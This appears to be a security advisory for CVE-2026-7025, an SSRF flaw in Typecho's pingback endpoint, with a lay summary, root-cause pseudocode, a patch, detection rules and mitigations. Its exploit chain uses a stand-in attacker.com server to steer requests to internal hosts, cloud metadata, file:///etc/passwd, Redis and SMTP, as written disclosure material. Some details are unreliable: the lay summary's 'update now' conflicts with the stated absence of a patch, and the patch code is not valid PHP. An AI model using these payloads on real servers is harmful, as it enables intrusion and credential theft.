Typecho is blogging software used by thousands of websites worldwide. A serious security flaw has been discovered that could let hackers trick the server into doing things it shouldn't.
Here's the problem in simple terms. The software has a feature called "Pingback" — it's supposed to notify other blogs when you link to them. Think of it like sending a postcard to say "hey, I mentioned your blog." But attackers found they can manipulate this feature to make the server send requests anywhere on the internet, not just to other blogs.
This is dangerous because a hacker could use an infected website to steal data from your server, access internal systems, or attack other computers on your network. It's like tricking a trusted employee into delivering a package to a criminal instead of the intended recipient.
Who's at risk? Website owners running Typecho versions 1.3.0 and earlier are vulnerable. If your site uses this software and handles sensitive information — customer data, private documents, payment information — you're in the crosshairs.
The silver lining is that nobody has been actively exploiting this yet, but that window won't stay open forever. Security researchers disclosed this publicly because Typecho's makers didn't respond to warnings.
What should you do? First, update Typecho immediately if you're running it — check your admin panel for the latest version. Second, if you can't update right now, ask your hosting provider if they can disable the Pingback feature temporarily. Third, monitor your website logs for suspicious activity, or hire someone to do it for you. Don't wait on this one.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7025 is a server-side request forgery (SSRF) vulnerability in Typecho's XML-RPC Pingback service endpoint, affecting all releases up to and including 1.3.0. The vulnerability lives in Service::sendPingHandle inside var/Widget/Service.php. An unauthenticated remote attacker can manipulate the X-Pingback response header returned by a controlled external URL — or directly supply a crafted link argument — to make the Typecho server issue outbound HTTP requests to arbitrary destinations, including RFC-1918 addresses and loopback.
The vendor was notified prior to disclosure and did not respond. No patch exists as of initial publication. CVSS 7.3 (HIGH) reflects network-accessible attack vector, no authentication required, and meaningful confidentiality/integrity impact against internal infrastructure.
Affected Component
File:var/Widget/Service.php Class:Service (extends Typecho_Widget) Method:sendPingHandle() Entry point: XML-RPC endpoint, typically reachable at /action/xmlrpc or via the pingback.ping RPC method Affected parameter:sourceURI (the first argument to pingback.ping), from which the code fetches the remote page and trusts the returned X-Pingback header or scans body <link> tags
Root cause:sendPingHandle() passes an attacker-supplied URL directly to Typecho's HTTP client without validating that the resolved host is a public, non-loopback, non-RFC-1918 address before issuing the request.
Root Cause Analysis
The Pingback specification requires the receiver to fetch the source URI and confirm it actually links back to the target. Typecho implements this fetch, then optionally follows a second URL discovered inside that page (the X-Pingback header or a <link rel="pingback"> tag). Neither hop validates the destination address against a blocklist.
// var/Widget/Service.php — reconstructed pseudocode
// Service::sendPingHandle()
public function sendPingHandle(string $sourceUri, string $targetUri): void
{
// Step 1: fetch the page at $sourceUri to verify backlink
// BUG: $sourceUri is attacker-controlled; no IP/hostname validation
$response = $this->httpClient->send($sourceUri); // <-- SSRF trigger #1
$body = $response->getBody();
$headers = $response->getHeaders();
// Step 2: discover the pingback endpoint advertised by the source page
if (isset($headers['X-Pingback'])) {
$pingbackEndpoint = $headers['X-Pingback']; // attacker-controlled header
} else {
// scan in body
$pingbackEndpoint = $this->extractPingbackLink($body);// attacker-controlled content
}
// BUG: $pingbackEndpoint is taken verbatim from the attacker's server response;
// no scheme restriction, no host validation, no SSRF filter applied
if ($pingbackEndpoint) {
$this->httpClient->send($pingbackEndpoint); // <-- SSRF trigger #2
}
}
// Typecho_Http_Client::send() — simplified
public function send(string $url): Typecho_Http_Response
{
$parsed = parse_url($url);
// BUG: accepts file://, gopher://, dict://, http://127.0.0.1/...
// no scheme allowlist, no private-range block
$sock = fsockopen($parsed['host'], $parsed['port'] ?? 80);
fwrite($sock, $this->buildRequest($parsed));
return $this->readResponse($sock);
}
The double-fetch pattern is the crux: the first fetch already constitutes SSRF, and the second fetch compounds it by trusting a URL embedded in the response of the first fetch — a URL the attacker fully controls.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker stands up a web server at attacker.com:8080.
2. Attacker configures the server to respond to ANY path with:
HTTP/1.1 200 OK
X-Pingback: http://192.168.1.1/admin/apply.cgi
Content-Type: text/html
[body containing a link to targetUri so backlink check passes]
3. Attacker sends a valid XML-RPC pingback.ping call to the victim Typecho instance:
POST /action/xmlrpc HTTP/1.1
Host: victim.blog
Content-Type: text/xml
pingback.pinghttp://attacker.com:8080/ssrfhttp://victim.blog/some-post/
4. Typecho's sendPingHandle() fetches http://attacker.com:8080/ssrf.
— Outbound request to attacker-controlled host confirmed (SSRF #1).
5. Typecho reads X-Pingback: http://192.168.1.1/admin/apply.cgi from the response.
6. Typecho issues a second outbound request to http://192.168.1.1/admin/apply.cgi.
— Internal host request confirmed (SSRF #2: pivot to internal network).
7. Response body from 192.168.1.1 is returned through XML-RPC fault message
or observable via timing/error differentiation — partial response exfiltration.
8. Repeat with file:///etc/passwd or dict://127.0.0.1:6379/... for
local-file read or Redis unauthenticated command injection depending
on which PHP HTTP wrappers / fsockopen paths are active.
Memory Layout
This is a logic-class SSRF, not a memory-corruption bug. Rather than heap state, the relevant runtime state is the PHP request context and the HTTP client object at the moment of the vulnerable dispatch:
PHP OBJECT STATE at sendPingHandle() dispatch (simplified var_dump equivalent):
Service object {
httpClient => Typecho_Http_Client {
_method => "GET"
_timeout => 10
_userAgent => "Typecho/1.3.0"
_url => "http://attacker.com:8080/ssrf" // ATTACKER CONTROLLED
}
request => Typecho_Request {
sourceUri => "http://attacker.com:8080/ssrf" // raw, unfiltered
targetUri => "http://victim.blog/some-post/"
}
}
AFTER first fetch — second dispatch target resolved from response header:
Service object {
httpClient => Typecho_Http_Client {
_url => "http://192.168.1.1/admin/apply.cgi" // INTERNAL HOST — ATTACKER SUPPLIED
}
}
PRIVILEGED INTERNAL TARGETS reachable via second hop:
http://127.0.0.1:6379/ (Redis, no auth)
http://169.254.169.254/ (AWS/GCP/Azure metadata)
http://192.168.x.x/ (LAN admin panels)
file:///etc/passwd (if allow_url_fopen wrappers active)
gopher://127.0.0.1:25/... (SMTP injection)
Patch Analysis
The correct fix requires two independent controls: (1) a scheme allowlist on any URL before it is fetched, and (2) a post-DNS-resolution IP block that rejects private/loopback ranges. Both are necessary — scheme allowlist alone is bypassed by http://127.0.0.1; IP block alone is bypassed by DNS rebinding if resolution happens at validation time rather than at connect time.
// BEFORE (vulnerable) — var/Widget/Service.php
public function sendPingHandle(string $sourceUri, string $targetUri): void
{
$response = $this->httpClient->send($sourceUri);
$pingbackEndpoint = $response->getHeader('X-Pingback')
?? $this->extractPingbackLink($response->getBody());
if ($pingbackEndpoint) {
$this->httpClient->send($pingbackEndpoint); // no validation
}
}
// AFTER (patched — recommended remediation):
private static array ALLOWED_SCHEMES = ['http', 'https'];
private static array BLOCKED_CIDRS = [
'127.0.0.0/8',
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'169.254.0.0/16', // link-local / cloud metadata
'::1/128',
'fc00::/7',
];
private function validateSsrfSafeUrl(string $url): bool
{
$parsed = parse_url($url);
if (!in_array(strtolower($parsed['scheme'] ?? ''), self::ALLOWED_SCHEMES, true)) {
return false; // reject gopher://, file://, dict://, etc.
}
// Resolve hostname to IP(s) NOW, before connect, to prevent rebinding window
$resolved = gethostbynamel($parsed['host']);
if ($resolved === false || empty($resolved)) {
return false;
}
foreach ($resolved as $ip) {
foreach (self::BLOCKED_CIDRS as $cidr) {
if ($this->ipInCidr($ip, $cidr)) {
return false; // reject private/loopback
}
}
}
return true;
}
public function sendPingHandle(string $sourceUri, string $targetUri): void
{
if (!$this->validateSsrfSafeUrl($sourceUri)) {
throw new Typecho_Widget_Exception('Invalid source URI', 0);
}
$response = $this->httpClient->send($sourceUri);
$pingbackEndpoint = $response->getHeader('X-Pingback')
?? $this->extractPingbackLink($response->getBody());
// Second hop also requires validation — trust nothing from remote response
if ($pingbackEndpoint) {
if (!$this->validateSsrfSafeUrl($pingbackEndpoint)) {
throw new Typecho_Widget_Exception('Invalid pingback endpoint', 0);
}
$this->httpClient->send($pingbackEndpoint);
}
}
Note: gethostbynamel() must be called on a socket that is subsequently pinned to the returned IP to prevent a TOCTOU race exploitable via DNS rebinding. A more robust implementation opens the socket immediately after resolution and passes the numeric IP to fsockopen, bypassing further DNS lookups.
Detection and Indicators
Network-level: Monitor for outbound HTTP/TCP connections originating from the PHP process (typically apache2, php-fpm, or nginx worker) to RFC-1918 ranges or 169.254.169.254. Pingback-legitimate traffic goes to public IPs only.
Log signatures — look for pingback.ping RPC calls where sourceUri resolves to a private address or produces a redirect chain terminating internally:
# Apache / nginx access log pattern indicative of exploitation probe:
POST /action/xmlrpc HTTP/1.1 [external IP] "pingback.ping" 200
# PHP error log indicating redirected internal fetch (partial exfil via fault):
PHP Warning: file_get_contents(http://192.168.1.1/): failed to open stream ...
# OR successful fetch with no warning — requires egress monitoring
# Suricata / Snort rule (conceptual):
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
msg:"CVE-2026-7025 Typecho Pingback SSRF probe";
flow:established,to_server;
content:"POST"; http_method;
content:"/action/xmlrpc"; http_uri;
content:"pingback.ping"; http_client_body;
classtype:web-application-attack;
sid:20267025; rev:1;
)
Remediation
Immediate mitigations (no code change required):
Block outbound HTTP/HTTPS from the PHP worker process to RFC-1918 and loopback ranges at the host firewall (iptables / nftables owner match on the www-data UID).
Disable the XML-RPC / pingback endpoint entirely if not required: remove or return 405 for POST /action/xmlrpc at the reverse proxy layer.
If running on a cloud provider, block 169.254.169.254 at the egress firewall or via IMDSv2 enforcement (AWS) to prevent metadata credential theft.
Code-level fix: Apply the validateSsrfSafeUrl() guard shown in the Patch Analysis section to both the initial $sourceUri fetch and the secondary $pingbackEndpoint fetch. Pin the socket to the pre-resolved IP to close the DNS rebinding window.
Longer term: Typecho should introduce a centralised HTTP client wrapper with SSRF protection enabled by default for all outbound requests, not only the pingback path — similar to how Symfony's HttpClient supports bindTo and IP range restrictions natively.